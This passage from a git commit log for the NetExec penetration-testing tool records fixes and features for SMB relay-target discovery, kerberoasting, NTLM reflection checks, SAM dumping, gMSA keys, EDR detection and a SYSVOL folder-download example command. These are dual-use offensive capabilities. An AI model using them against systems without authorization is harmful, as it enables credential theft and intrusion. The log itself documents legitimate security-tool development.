DatabaseNavigator, calls do_export('keys all <file>'), and asserts the file is
unchanged, the failure message appears, and the success message does not.

Refs: Pennyw0rth/NetExec#1273
Signed-off-by: Yuchen Fan <[email protected]>
2026-07-13 11:42:07 +08:00
Functionhx 251cc8e0a3 fix: guard keys export against empty results to prevent file truncation
The get_keys() base class returns [] for protocols without key support
(e.g. SMB). Without this guard, write_list() opens the target file in
'w' mode, writes nothing, and reports success — silently truncating any
existing file. Add an empty-keys check before file open, plus regression
tests that cover both the BaseDB fallback and the write_list truncation
behavior.

Signed-off-by: Yuchen Fan <[email protected]>
2026-07-13 10:23:42 +08:00
Functionhx 5d0a5fa97a fix: add get_keys() to BaseDB to prevent AttributeError on export keys
The nxcdb export keys command calls self.db.get_keys() which only
existed as a method on the SSH protocol database class. When called
from any other protocol (smb, mssql, winrm, etc.), it raised an
AttributeError because the base database class had no such method.

Add a default get_keys() method to BaseDB that returns an empty list.
Protocols that support keys (SSH) already override this method with
their own implementation, so SSH behavior is unchanged.

Also add argument validation and a success message to the keys export
handler in nxcdb.py for consistency with other export commands.

Fixes: Pennyw0rth/NetExec#1273
Signed-off-by: Yuchen Fan <[email protected]>
2026-07-13 02:08:43 +08:00
Alex d1fc6d5784 Merge pull request #1310 from termanix/nfs-shares-db
Add Shares and Export DB for NFS
2026-07-12 15:25:53 +02:00
Alexander Neff e4c3c06ff1 Fix output filename when exporting the hosts 2026-07-12 09:22:26 -04:00
Alex 51c0370fe2 Merge pull request #1284 from azoxlpf/refactor/daclread-replace-ldap3
Replace ldap3 with impacket in daclread module
2026-07-12 15:05:18 +02:00
Alexander Neff 2a3fb7a168 Remove custom ldap filtering 2026-07-12 08:47:45 -04:00
termanix 55538fe18d Update pyNFSClient resolved_reference 2026-07-11 20:31:37 +03:00
termanix d908f8aeeb Hosts export works as well 2026-07-11 20:30:04 +03:00
termanix 77bf1f8970 Merge branch 'main' into nfs-shares-db 2026-07-11 19:54:53 +03:00
termanix 14bd63a7f1 Add Shares and Export DB for NFS 2026-07-11 19:47:29 +03:00
Alex 93c64fcc0b Merge pull request #1251 from azoxlpf/fix/atexec-2025
Fix atexec task execution on 2025 servers
2026-07-11 18:46:17 +02:00
Alex cbb2131380 Merge pull request #1286 from azoxlpf/refactor/gpp-privileges-replace-ldap3
Replace ldap3 with impacket in gpp_privileges module
2026-07-11 18:36:29 +02:00
Alex c5d7918346 Merge pull request #1309 from Pennyw0rth/neff-stop-anon-mssql
Don't allow anonymous auth in MSSQL
2026-07-11 18:23:01 +02:00
Alexander Neff 6de681f84e Set context to class var and remove unnecessary logic 2026-07-11 12:19:27 -04:00
termanix 3817719dcc Merge branch 'Pennyw0rth:main' into main 2026-07-11 18:56:52 +03:00
Alex 721599632a Merge pull request #1285 from azoxlpf/refactor/sccm-replace-ldap3
Replace ldap3 with impacket in sccm module
2026-07-11 17:56:31 +02:00
Alex 4013347211 Merge pull request #1239 from azoxlpf/feat/add-generate-st
Add standalone --generate-st
2026-07-11 17:47:43 +02:00
Alexander Neff 7ceac6e738 Don't allow anon auth in mssql 2026-07-11 11:43:46 -04:00
Alex 8ce9d802fa Merge pull request #1308 from Dfte/add_database_nfs
Add host database for NFS
2026-07-11 17:39:17 +02:00
Alexander Neff c30a780bc3 Linting 2026-07-11 11:36:53 -04:00
Alex cd1746f09f Merge pull request #1307 from Dfte/add_encryptionreq_database_mssql
Add mssql version and encryption req flags in DB
2026-07-11 17:35:05 +02:00
Alex d80784d047 Merge pull request #1294 from BastienFaure/main
Handle situation where LDAP user objects do not have userAccount
2026-07-11 17:25:37 +02:00
Alexander Neff eb4b2b45fc Do kerberos auth when requesting a ST and add default SPN for storing ST 2026-07-11 11:22:03 -04:00
termanix cfca2732e2 Merge branch 'Pennyw0rth:main' into main 2026-07-10 18:36:51 +03:00
azoxlpf 77889ae7ca switched to fail + return False 2026-07-09 11:08:37 +02:00
azoxlpf 7718ecf526 only capture TGT/ST when --generate-st is set 2026-07-09 09:17:08 +02:00
Aurélien CHALOT ed450e2491 Add host database for NFS 2026-07-08 15:30:43 +02:00
Aurélien CHALOT 82d5c49485 Add mssql version and encryption req flags in DB 2026-07-08 13:29:09 +02:00
Alex 8dfe5573bf Merge pull request #1303 from TGJLS/main
fix(onelogon): allow onelogon module to work with same forrests and cross forrest
2026-07-05 20:54:09 +02:00
TGJLS 6dafdec453 fix(onelogon): allow onelogon module to work with same forrests and cross forrest
Signed-off-by: TGJLS <[email protected]>
2026-07-05 18:29:43 +00:00
T1erno 337181e520 Ruff check on backup_operator 2026-07-04 21:28:52 -06:00
T1erno 0e80de5d68 reintroduced samdump in backup operator 2026-07-04 21:19:14 -06:00
T1erno 6dda035d2a Removed local admin usage and SAM reg dump 2026-07-02 20:55:09 -06:00
Alex d9871c5a04 Merge pull request #1301 from Pennyw0rth/neff-fix-nfs-upload
Fix file uploading in NFS
2026-07-02 19:57:21 +02:00
Alexander Neff 0d067da38c Fix file uploading 2026-07-02 13:43:08 -04:00
mpgn 1f9ecc8f77 Merge pull request #1297 from Pennyw0rth/neff-fix-signing
Fix SMBv1 None
2026-06-30 23:09:11 +02:00
mpgn 4c63f700dc Merge pull request #1300 from KevinCrrl/fix-spec-file
Fix: add dploot.triage.cng to netexec.spec
2026-06-30 23:05:37 +02:00
KevinCrrl 010ed45c12 Fix: add dploot.triage.cng to netexec.spec 2026-06-30 15:15:30 -05:00
Alexander Neff 33dbf4bf32 Use '.get()' as fallback for nonexisting userAccountControl values 2026-06-30 10:30:11 -04:00
Alexander Neff 1482deeccf Removing the no longer needed prefered dialect 2026-06-30 10:23:56 -04:00
Alex 6cd6418e40 Merge branch 'main' into neff-fix-signing 2026-06-30 16:23:08 +02:00
Alex bc810706b0 Merge pull request #1299 from bandrel/fix/smb-signing-false-negative-311
Fix SMB signing false negative on SMB 3.1.1 hosts
2026-06-30 16:19:16 +02:00
Alexander Neff 1b9bd310f2 Remove unnecessary variables 2026-06-30 09:40:04 -04:00
Alexander Neff 6fc0a6a8aa Cleanup con usage 2026-06-29 15:44:18 -04:00
Justin BollingerandClaude Opus 4.8 2536442a21 Address review: drop staticmethod, use isSigningRequired() below SMB 3.0
Per review feedback on #1299:
- Make _is_signing_required a regular method instead of a staticmethod.
- Collapse the SMBv1 and sub-3.0 branches into a single isSigningRequired()
  call; impacket only force-sets RequireSigning at 3.1.1, so that flag is
  accurate below SMB 3.0. Only the 3.0+ path needs the explicit
  ServerSecurityMode check.

Co-Authored-By: Claude Opus 4.8 <[email protected]>
2026-06-29 14:34:35 -04:00
Justin Bollinger e0372e7dc0 Merge branch 'main' into fix/smb-signing-false-negative-311 2026-06-29 14:06:17 -04:00
Alexander Neff 4f0b5bfd06 Fix SMBv1 detection text 2026-06-29 13:26:42 -04:00
Alexander Neff 29442cc6a8 Select SMB dialect 3.0.2 so we still can have unsigned connections 2026-06-29 13:17:56 -04:00
mpgn ef3a634601 Merge pull request #1296 from Pennyw0rth/patchldap 2026-06-29 18:10:25 +02:00
mpgn de2207d837 fix stracktrace port 636 closed 2026-06-29 15:08:54 +02:00
mpgn c2a3e48a04 Merge pull request #1295 from Pennyw0rth/mpgn-patch-2
Handle None in username check for SQL query results when rid-brute with mssql
2026-06-27 13:00:10 +02:00
mpgn da50debfca fix impacket pr with None 2026-06-26 22:57:22 +02:00
mpgn 12086c388c Refactor username null check in mssql.py
Simplified username null check in SQL query results.

Signed-off-by: mpgn <[email protected]>
2026-06-26 21:24:51 +02:00
mpgn 6a47c3217a Handle None in username check for SQL query results
Signed-off-by: mpgn <[email protected]>
2026-06-26 21:18:02 +02:00
Bastien Faure 04aac88205 Handle weird situation where LDAP user object do not have userAccountControl field 2026-06-26 05:23:18 -04:00
Justin BollingerandClaude Opus 4.8 4a93879014 Fix SMB signing false negative on SMB 3.1.1 hosts
impacket force-sets _Connection["RequireSigning"]=True for any SMB 3.1.1
negotiation regardless of the server's real policy (the 3.1.1 session setup
is always signed). Reading that flag caused false negatives in relay-target
discovery: 3.1.1 hosts (Windows 10/Server 2016+) that merely *enable* but do
not *require* signing were reported as signing:True and silently dropped from
--gen-relay-list output.

Read the real negotiated ServerSecurityMode for SMB 3.0+ instead, falling back
to RequireSigning for SMB 2.0.2/2.1 (where ServerSecurityMode is unpopulated
and RequireSigning is accurate). Logic extracted into a testable static helper
with mock-based regression tests.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
2026-06-24 14:20:46 -04:00
Alex f6b0896dd0 Merge pull request #1291 from Pennyw0rth/neff-onelogon 2026-06-23 20:32:29 +02:00
Alexander Neff b8a2365bf6 Add onelogon enumeration 2026-06-23 12:07:43 -04:00
azoxlpf 3a16b24afa reuse TGT from kerberosLogin for standalone --generate-st 2026-06-19 11:06:09 +02:00
azoxlpf 0501b85ba3 Merge branch 'main' into feat/add-generate-st 2026-06-19 10:48:02 +02:00
Alex 36acb706af Merge pull request #1288 from Pennyw0rth/neff-switch-impacket
Switch impacket source back to fortra
2026-06-19 09:18:11 +02:00
Alex 811bf4eb69 Merge pull request #1287 from azoxlpf/refactor/get-network-replace-ldap3
Remove unused ldap3 import from get-network module
2026-06-19 09:10:20 +02:00
Alexander Neff affbf673d6 Switch impacket source back to fortra 2026-06-19 03:10:04 -04:00
azoxlpf b98162efce remove unused ldap3 import from get-network module 2026-06-19 08:46:29 +02:00
azoxlpf 17a949aba9 replace ldap3 with impacket in gpp_privileges module 2026-06-18 16:56:15 +02:00
azoxlpf 0b2fecab53 replace ldap3 with impacket in sccm module 2026-06-18 14:43:30 +02:00
azoxlpf e1c99c9387 update comment 2026-06-18 14:39:34 +02:00
azoxlpf 4f75a7f55b replace ldap3 with impacket in daclread module 2026-06-18 14:30:43 +02:00
azoxlpf 841a28832f call hSchRpcRun only on Windows Server 2025 2026-06-17 10:00:14 +02:00
T1erno 2686436eb5 Fix for backup_operator module 2026-06-16 22:27:18 -06:00
Alex 2f3f064560 Merge pull request #1281 from termanix/patch-10 2026-06-12 16:23:34 +02:00
termanix c01dc7f84d Update build-binaries.yml
Signed-off-by: termanix <[email protected]>
2026-06-12 16:45:24 +03:00
termanix 420db6b0cf Add macos-26-intel for MacOS Intel
Signed-off-by: termanix <[email protected]>
2026-06-12 16:38:22 +03:00
mpgn 114b3be2d4 Merge pull request #1278 from azoxlpf/fix/pfx-stacktrace
fix: catch invalid PFX/PEM errors in certificate authentication
2026-06-10 09:51:43 +02:00
azoxlpf 6126c790f9 catch certificate loading errors in pfx_auth 2026-06-09 11:05:17 +02:00
Alex f80c5105f4 Merge pull request #1263 from Dfte/add_db_enumeration
Add database edition and version enumeration
2026-06-07 22:37:54 +02:00
Alex efab20a2ea Merge pull request #1078 from azoxlpf/feat/u2u-support
Add User2User authentication
2026-06-07 17:57:07 +02:00
Alex a5379db31c Merge pull request #1270 from XedSama/drop-library-bug-fix
Bug fix : `drop-library-ms` not using NAME option
2026-06-05 11:35:05 +02:00
XedSama d773e63bd3 Fix lms_name and set it to NAME module option 2026-06-05 11:06:58 +02:00
Alex 12d006d831 Merge branch 'main' into feat/u2u-support 2026-06-04 17:54:09 +02:00
Alex b820f6d5fd Merge pull request #1254 from XedSama/dpapi-qol-empty
QoL DPAPI - Log message when empty
2026-06-04 17:53:32 +02:00
Alexander Neff af69e9dd95 Make code more efficient and explicit 2026-06-04 11:49:32 -04:00
Alex abeb163ad8 Merge pull request #1138 from e-nzym3/add-safe-shares-module
Add safe_shares SMB module: share permission enumeration module that does not write files to disk
2026-06-04 17:38:21 +02:00
Aurélien CHALOT 536c79008e Reduce size 2026-06-04 15:31:07 +02:00
Alex d6b328587e Merge pull request #1265 from shaaati/patch-1 2026-06-03 17:04:48 +02:00
shaaati 7388995af3 Sort SIDs ascendingly
Signed-off-by: shaaati <[email protected]>
2026-06-03 16:58:49 +02:00
shaaati 90ebee5fdf Extend search filter for admin check in ldap.py
Added SID for builtin group "Administrators"

Signed-off-by: shaaati <[email protected]>
2026-06-03 16:33:09 +02:00
Aurélien CHALOT 614c8cc0e8 Add database edition and version enumeration 2026-06-03 11:30:07 +02:00
Alex 761d0d91c0 Merge pull request #1262 from Pennyw0rth/neff-fix-delegation
Fix delegation
2026-06-02 22:49:47 +02:00
Alexander Neff 4694c26c8a Fix delegation and only create new SMB conn when we actually have a different target_ip (and not None) 2026-06-02 13:47:11 -04:00
Aurélien CHALOT cfc9123142 Refactor the --database argument to comply with security checks 2026-06-02 11:47:37 +02:00
enzym3 000eae14f4 smb --shares: revert to fixed-width table, widen Permissions to 22 for DACL_WRITE 2026-06-01 12:51:13 -04:00
XedSama f7113a4128 Update smb.py 2026-06-01 14:07:33 +02:00
enzym3 41e0e01b5f Merge branch 'main' into add-safe-shares-module 2026-05-29 10:06:26 -04:00
azoxlpf 5f45de2b90 Fix atexec task execution on 2025 servers 2026-05-28 15:27:23 +02:00
Alex b7c0f6563c Merge pull request #1250 from azoxlpf/refactor/tsch-smb-exec
Refactor TSCH_EXEC and SMBEXEC
2026-05-27 17:19:15 +02:00
Alexander Neff 0237a07092 Remove stub variable 2026-05-27 11:05:26 -04:00
Alexander Neff d82fcfb08a Move things in args order 2026-05-27 11:04:27 -04:00
Alexander Neff 8c55ef6d8b Remove stub variable 2026-05-27 10:54:52 -04:00
Alexander Neff e99740dc96 Fix test that failed due to renamed arg 2026-05-27 10:49:44 -04:00
Alexander Neff f2a0dc3df9 Move things in args order 2026-05-27 10:49:27 -04:00
azoxlpf a6d29ab0ac Simplify TSCH_EXEC and SMBEXEC after NXCRPCConnection merge 2026-05-27 10:37:40 +02:00
Alex 51c13bc3e0 Merge pull request #1191 from azoxlpf/feat/add-rpc-class
Add RPC helper class and migrate SMB/module callers
2026-05-26 22:37:58 +02:00
Alex 515dccee24 Merge pull request #1247 from Pennyw0rth/add-azoxlpf-awesome-contributors
Add azoxlpf to awesome contributors
2026-05-25 22:48:23 +02:00
Alexander Neff 73dc25c907 Add azoxlpf to awesome contributors 2026-05-25 16:41:40 -04:00
Alex 0708e35f6d Merge pull request #1231 from T1erno/fix-ctrl+c 2026-05-25 15:56:06 +02:00
Alexander Neff 99d7186ed5 Don't triple check if DCE is not None 2026-05-25 07:03:33 -04:00
Alexander Neff 4d746de71d Don't triple check if DCE is not None 2026-05-25 07:03:23 -04:00
Alexander Neff 4a726849fa Improve logging 2026-05-25 06:58:31 -04:00
Alexander Neff fd101be87c Recreate RPC conn if target is different to existing SMB connection 2026-05-25 06:28:45 -04:00
Alexander Neff b3da0d5e82 Formatting 2026-05-25 06:24:49 -04:00
Alexander Neff fc5b7bbb3f Formatting 2026-05-25 06:20:55 -04:00
Alexander Neff 446328bdbc Add NXCRPCConnection to modify-group 2026-05-25 06:13:26 -04:00
Alexander Neff 1dd2c6696d No stub variables 2026-05-25 05:44:55 -04:00
Alexander Neff 570bae028e Rename variables to something meaningful 2026-05-25 05:22:26 -04:00
Alexander Neff 8cf5b605df Properly use class comments 2026-05-25 05:22:11 -04:00
Alex 87f2f10a0f Merge branch 'main' into feat/add-rpc-class 2026-05-25 11:15:19 +02:00
Marshall Hallenbeck dfec064063 Merge branch 'main' into feat/smb-get-folder 2026-05-23 19:55:34 -04:00
Marshall Hallenbeck e84ca2d510 fix(smb): fix slashes and silent folder download bugs 2026-05-23 19:53:40 -04:00
Marshall Hallenbeck 9c4ad7fc39 fix(smb): recursively download folders by default 2026-05-23 19:49:51 -04:00
Alexander Neff 830b04ba57 Use contextlib instead of empty try&except 2026-05-23 05:53:12 -04:00
Alex 3dcccc7b9b Merge pull request #1246 from Pennyw0rth/neff-fix-mssql-sam
Add full control to dump files in order do bypass win restrictions
2026-05-22 21:50:34 +02:00
Alexander Neff fe03fc20cf Add full control to dump files in order do bypass win restrictions 2026-05-22 15:30:03 -04:00
Alex a03625d992 Merge pull request #1245 from azoxlpf/fix/ntlm-reflection
Fix: CVE-2025-33073 NTLM reflection not exploitable on pre-NT10.0 systems
2026-05-22 18:46:41 +02:00
azoxlpf 663e26fb0b drop NTLM reflection checks on Server 2008 and 2012 2026-05-22 16:42:09 +02:00
mpgn 3a0ccbe396 Update test.yml
Signed-off-by: mpgn <[email protected]>
2026-05-19 21:30:43 +02:00
mpgn dfbf2f6be7 Update lint.yml
Signed-off-by: mpgn <[email protected]>
2026-05-19 21:24:16 +02:00
mpgn 31df9337b3 Update test.yml
Signed-off-by: mpgn <[email protected]>
2026-05-19 21:22:42 +02:00
mpgn af6bebc362 Update lint.yml
Signed-off-by: mpgn <[email protected]>
2026-05-19 21:20:55 +02:00
mpgn ebb3da489f Simplify dependency installation step in lint workflow
Signed-off-by: mpgn <[email protected]>
2026-05-19 21:19:59 +02:00
mpgn 5bc110601e Refactor GitHub Actions to use uv for setup
Updated GitHub Actions workflow to use 'uv' for installation and execution.

Signed-off-by: mpgn <[email protected]>
2026-05-19 21:18:11 +02:00
mpgn 468c8efe8b switch to uv
Signed-off-by: mpgn <[email protected]>
2026-05-19 21:17:21 +02:00
mpgn e0972008f4 update lock 2026-05-19 19:12:54 +00:00
mpgn a92b6fea16 Update oscrypto dependency to specific commit
Signed-off-by: mpgn <[email protected]>
2026-05-19 21:04:47 +02:00
mpgn 5b3f8382e4 Configure Poetry to ignore recent package versions
Add min-release-age setting for supply-chain hardening

Signed-off-by: mpgn <[email protected]>
2026-05-19 21:01:44 +02:00
mpgn 8a708ffab3 Update pyproject.toml
Signed-off-by: mpgn <[email protected]>
2026-05-19 20:47:31 +02:00
mpgn abdeb78174 Add exclude-newer option for tool.uv
Signed-off-by: mpgn <[email protected]>
2026-05-19 20:22:28 +02:00
azoxlpf e407f21062 simplify the help 2026-05-19 14:27:46 +02:00
T1erno 9911e9a280 Simplify CTRL+C exit 2026-05-15 20:04:04 -06:00
Alexander Neff 18f7725993 Explicitely remove the null byte 2026-05-14 06:49:56 -04:00
Marshall Hallenbeck 636491ddde Merge branch 'main' into feat/smb-get-folder 2026-05-12 14:06:06 -04:00
enzym3 4082c4eadb smb --shares: address review feedback from PR #1138
- Import write-check masks from impacket.smb3structs instead of redefining locally
- Move write_checks list into shares() scope
- Enforce --file-write-check requires --shares via argparse make_required
- Use STYPE_DISKTREE/STYPE_MASK constants for share type check; store type in share_info
- Add debug log when skipping non-filesystem shares
- Restore explanatory comment on empirical write check
- Replace try/except/pass with contextlib.suppress on disconnectTree
- Rename column-width vars and explain magic numbers in shares output
2026-05-12 10:16:28 -04:00
azoxlpf c58f3e0675 add standalone --generate-st with --spn for Kerberos ST export 2026-05-11 14:50:11 +02:00
Alex 0fbff80d9c Merge pull request #1237 from Pennyw0rth/neff-fix-schtask_as-logging
Fix logging output of schtask_as
2026-05-10 12:17:49 +02:00
Alexander Neff 861f7d9f67 Fix logging output of schtask_as 2026-05-10 06:11:16 -04:00
Alex df15cf20db Merge pull request #1235 from Pennyw0rth/neff-nfs-chmod
Add chmod to NFS
2026-05-07 21:20:48 +02:00
Alex 9e1403bf20 Merge pull request #1232 from Pennyw0rth/neff-fix-nfs
Minor fixes for NFS
2026-05-07 21:18:37 +02:00
Alexander Neff 41cde339d1 Add e2e tests 2026-05-07 15:11:00 -04:00
Alexander Neff d10522eff8 Add chmod to nfs 2026-05-07 15:03:06 -04:00
Alex 4c56251480 Merge pull request #1125 from Ne0re0/main
feat: Compute gMSA AES keys when using --gmsa
2026-05-07 16:35:15 +02:00
Alexander Neff a23d0fa3b8 Pythonic 2026-05-07 10:01:49 -04:00
Alexander Neff d8ea63da83 Add error message if gmsa string is invalid 2026-05-07 09:16:59 -04:00
Alexander Neff 028e774e8e Formatting 2026-05-07 09:16:14 -04:00
Alexander Neff d9603d5c8b Formatting 2026-05-07 09:15:49 -04:00
Alexander Neff a0c62e2413 Formatting 2026-05-07 09:13:51 -04:00
Alexander Neff 8d5c81c36c Formatting 2026-05-07 09:13:47 -04:00
Alexander Neff 358052235a If we don't have a sAMAccountName skip kerberos keys 2026-05-07 09:11:50 -04:00
Alexander Neff 178df416c8 Switch order of displaying kerberos keys 2026-05-07 09:06:24 -04:00
Alexander Neff 21ea460d91 Remove duplicate search base 2026-05-07 09:06:12 -04:00
Marshall Hallenbeck 8759444f1b Merge branch 'main' into feat/smb-get-folder 2026-05-06 16:19:27 -04:00
Alex 5f7a05adb4 Merge branch 'main' into add-safe-shares-module 2026-05-06 13:32:26 +02:00
Alexander Neff 68816dcb25 Linting 2026-05-06 12:53:12 +02:00
Alexander Neff 641f020952 Add encoding fallback for special chars (e.g. öäü) 2026-05-06 12:46:15 +02:00
Alexander Neff cb156b7573 Catch errors if portmapper does not provide port for nfs bind 2026-05-06 12:45:45 +02:00
Alexander Neff 3631b8fdca Update module description 2026-05-06 12:44:25 +02:00
T1erno a0a7c2673e Improved Ctrl + c behavior 2026-05-05 14:08:13 -06:00
Alexander Neff d022f14f7e Formatting 2026-05-05 15:30:22 -04:00
Alexander Neff 324ff9e8fe Remove unused import 2026-05-05 15:30:15 -04:00
Alexander Neff 48691de278 Functionalize key generation 2026-05-05 15:25:23 -04:00
Alexander Neff 4951135148 Remove unused import 2026-05-05 15:25:07 -04:00
Alexander Neff f5bbf07a54 Use generate_kerberos_keys 2026-05-05 14:42:38 -04:00
Alex 696cfdfb37 Merge branch 'main' into main 2026-05-05 19:29:58 +02:00
Alex ee3ccb7948 Merge pull request #1228 from Pennyw0rth/neff-fix-rdp-kerberos
Fix Kerberos authentication with RDP
2026-05-04 18:17:32 +02:00
Alexander Neff 0bec9188cf We must connect to the kdc not the host on port 88 for Kerberos tickets 2026-05-04 12:08:39 -04:00
Marshall Hallenbeck 56406afd40 Merge pull request #1136 from Pennyw0rth/fix/ssh-channel-closed-exception
fix(ssh): handle channel closed exception during shell and privilege checks
2026-04-29 13:40:43 -04:00
Alex ed96d6756b Merge pull request #1221 from Pennyw0rth/neff-fix-add-computer
Fix add-computer module
2026-04-29 16:42:27 +02:00
Alex 9e179bb585 Merge pull request #1222 from Barneee/add-wazuh-detection
Add Wazuh XDR detection
2026-04-29 16:24:16 +02:00
Dennis Barnekow c25c3d8686 Add Wazuh XDR detection
Added Wazuh Windows Agent service indicator

Signed-off-by: Dennis Barnekow <[email protected]>
2026-04-29 15:11:36 +02:00
Alexander Neff efed8d19c6 Polish description 2026-04-29 08:10:43 -04:00
Alexander Neff 1f7175ac9f Return user handle and not impacket object 2026-04-29 08:10:31 -04:00
Alex 83696d29ac Merge pull request #1220 from Barneee/add-cynet-detection
Add Cynet EDR detection
2026-04-29 08:50:36 +02:00
Marshall Hallenbeck cd6d5b2ee5 fix(smb): properly reference arg via dot notation 2026-04-28 18:51:23 -04:00
Dennis Barnekow 5009642220 Add Cynet EDR detection
Added CynetLauncher service indicator

Signed-off-by: Dennis Barnekow <[email protected]>
2026-04-28 15:59:47 +02:00
Marshall Hallenbeck 598afaa79a tests(get_folder): add e2e test line 2026-04-27 12:23:46 -04:00
Marshall Hallenbeck 5932bce690 fix(smb): add path sanitization helper and apply to download_folder 2026-04-27 12:23:46 -04:00
Marshall Hallenbeck b020b24441 feat(smb): add --get-folder command for downloading remote directories
Add download_file(), download_folder(), and get_folder() methods to the
SMB protocol. Refactor get_file_single() to use download_file() with
automatic fallback from READ to READ/WRITE access on sharing violations.

New CLI args: --get-folder, --recursive, --ignore-empty-folders

Example: nxc smb target -u user -p pass --share SYSVOL --get-folder 'domain\Policies' ./output --recursive
2026-04-27 12:23:46 -04:00
Alex 2ea598a732 Merge pull request #1218 from jblommaert/patch-1
Fix netexec.spec
2026-04-27 18:15:03 +02:00
Julien Blommaert 3670d20639 Fix netexec.py
Add 'certihound' needed for LDAP
Fix #1197 

Signed-off-by: Julien Blommaert <[email protected]>
2026-04-27 13:43:45 +02:00
Alex f7e1187212 Merge pull request #840 from azoxlpf/feat/add-targeted-kerberoast 2026-04-26 17:56:15 +02:00
Alex 73ccf0daec Merge pull request #1217 from Pennyw0rth/neff-minor-fixes
Minor fixes for LDAP and RDP
2026-04-24 09:48:58 +02:00
Alexander Neff c8e027c999 Stop crashes when the nxcdb misbehaves 2026-04-24 08:48:10 +02:00
Alexander Neff 678760345e Prevent security principals from crashing the query (missing samaccountname) 2026-04-24 08:47:39 +02:00
Alexander Neff 46c6f18563 Only look up groups (not containers) 2026-04-24 08:47:13 +02:00
Alexander Neff 6982e82fcf Formatting 2026-04-23 13:45:34 -04:00
Alexander Neff 11ec479e2e Cleanup 2026-04-23 13:40:57 -04:00
Alexander Neff 6f1b4c94b1 Remove default argument 2026-04-23 13:38:05 -04:00
Alexander Neff 7eb4171e66 Functionalize argument parsing 2026-04-23 13:37:36 -04:00
Alex 917603bbd7 Merge pull request #1215 from Pennyw0rth/neff-fix-runner
Fix GitHub PR action and adjust AI policy
2026-04-23 16:06:24 +02:00
Alexander Neff 269b0a6888 Adjust AI policy 2026-04-23 03:19:12 -04:00
Alexander Neff 6ba33a8042 Let runner run in context of the PR 2026-04-23 03:01:22 -04:00
Alex 5179ebec78 Merge pull request #1214 from Pennyw0rth/neff-fix-ldap-admin-privs
Fix carrying over of admin privs while bruteforcing
2026-04-22 10:00:02 +02:00
Alexander Neff c7ddc41b9d Explicitely set admin privs=False 2026-04-22 02:47:08 -04:00
Alex 5f24696a11 Merge pull request #1213 from termanix/terman-fix
Fix premature self.context usage in modify-group
2026-04-22 08:34:30 +02:00
termanix a7590c8a61 Fix premature self.context usage in modify-group 2026-04-22 08:05:36 +03:00
Marshall Hallenbeck 43094f1623 Merge pull request #1211 from Pennyw0rth/fix/rdp-asyncio-deadlock
Fix for RDP asyncio timeout
2026-04-21 16:51:32 -04:00
Marshall Hallenbeck 2ec95a56ec fix(rdp): properly terminate connections; resolves #1169 2026-04-20 16:09:42 -04:00
Alex 1e0c6af59c Merge pull request #1210 from azoxlpf/feat/add-ESC15-check
Add CVE-2024-49019 (EKUwu / ESC15) to enum_cve module
2026-04-20 17:52:04 +02:00
Alexander Neff 0a0ef62825 Shorten ESC15 message 2026-04-20 11:47:41 -04:00
azoxlpf 0bd8d4307f add CVE-2024-49019 (EKUwu / ESC15) 2026-04-20 17:15:02 +02:00
Alex 4998541b75 Merge pull request #1195 from icemanphd/fix/issue-1059-hostname-truncation
fix(smb): resolve hostname truncation from NetBIOS 15-char limit
2026-04-18 16:26:53 +02:00
Alexander Neff b1e62e081f Use upper case name 2026-04-18 09:45:57 -04:00
Alexander Neff 800d9b614f DNS names should always be non empty string 2026-04-18 09:42:16 -04:00
Aurélien CHALOT f83b10a3af small fix 2026-04-15 11:20:46 +02:00
Aurélien CHALOT 2250d2b1f3 Add exclusion options 2026-04-15 11:15:57 +02:00
Alex 1884cd30a9 Merge pull request #1202 from Pennyw0rth/neff-allow-commands-and-modules
Allow proto flags in combination with modules
2026-04-14 14:24:05 +02:00
Alex cb8912a26b Merge pull request #1201 from Pennyw0rth/neff-add-winrm-dir
Add WinRM dir command
2026-04-14 14:23:56 +02:00
Alexander Neff 9f8625edfd Don't crash when we have no return value, e.g. on crashes 2026-04-14 13:43:42 +02:00
Alexander Neff 4f327d961b Change default encoding to pysrps default to stop crashes on german special chars 2026-04-14 13:42:33 +02:00
Alexander Neff 7e9427131b Fix output path 2026-04-14 13:28:46 +02:00
Alexander Neff f7afd493bf Add winrm --dir command 2026-04-14 13:23:20 +02:00
Alexander Neff 6c3750a03f Fix winrm --get-file local path completion 2026-04-14 13:23:06 +02:00
Alexander Neff 32a7d5a1f2 Allow proto flags in combination with modules 2026-04-14 13:20:39 +02:00
Alex eb8443364b Merge pull request #1199 from Pennyw0rth/winrm-up-download
Add WinRM upload and download functions
2026-04-14 13:07:13 +02:00
Alexander Neff d7dd837539 Improve logic of execution 2026-04-13 17:10:22 +02:00
Alexander Neff e4c4b0e75c Add WinRM upload and download functions 2026-04-13 17:00:41 +02:00
Alexander Neff 4d6c7b205d Fix winrm database issues when running in threads 2026-04-13 17:00:07 +02:00
Alexander Neff b8695bbb8a Add general protocol attribute to connection 2026-04-13 16:59:08 +02:00
azoxlpf f9dcabb9ae cleanup after review 2026-04-12 22:37:59 +02:00
azoxlpf 10d5c1ce5e unify targeted kerberoast with main kerberoasting flow 2026-04-12 20:57:00 +02:00
Alexander Neff 5d8a6299a3 Extract no-preauth-roasting into separate function 2026-04-12 13:31:08 -04:00
Alexander Neff 5b489b57a6 Remove unnecessary if check 2026-04-12 13:16:06 -04:00
azoxlpf c7e7b1189d resolve conflicts 2026-04-12 18:55:55 +02:00
Alexander Neff ad5772babe Improve arg description 2026-04-12 12:50:51 -04:00
Alex 11b667480f Merge branch 'main' into feat/add-targeted-kerberoast 2026-04-12 18:38:03 +02:00
Alex af45411879 Merge pull request #688 from termanix/add-group
New Module modify-group
2026-04-12 18:02:38 +02:00
Alexander Neff 0c14d05de5 Switch to fail message as our intended action failed 2026-04-12 11:31:28 -04:00
Alexander Neff 86b34efbed Merge adding/removing logic and only differentiate in action 2026-04-12 11:29:07 -04:00
Alexander Neff 1d1dfe54e8 Polish limitations section 2026-04-12 11:28:55 -04:00
Alexander Neff d876a186ef Merge adding/removing logic and only differentiate in action 2026-04-12 11:15:43 -04:00
Alexander Neff 15c6c757f0 Use constants 2026-04-12 11:00:03 -04:00
Alexander Neff d264deddeb Formatting 2026-04-12 09:45:08 -04:00
Alexander Neff 56b42713a8 Don't reraise exception 2026-04-12 09:38:03 -04:00
Alexander Neff 6c19e35bad Formatting 2026-04-12 09:37:10 -04:00
Alexander Neff d5b7891cd6 Formatting 2026-04-12 08:51:46 -04:00
Alexander Neff 46f01edf43 Make description more specific 2026-04-12 08:51:38 -04:00
Alex 8347d0a9dc Merge pull request #1193 from A3-N/fix-zero-byte-files
fix: ftp put_file reports failure on 0-byte uploads
2026-04-12 14:42:07 +02:00
termanix 9cbab6514f Merge branch 'main' into add-group 2026-04-11 19:34:30 +03:00
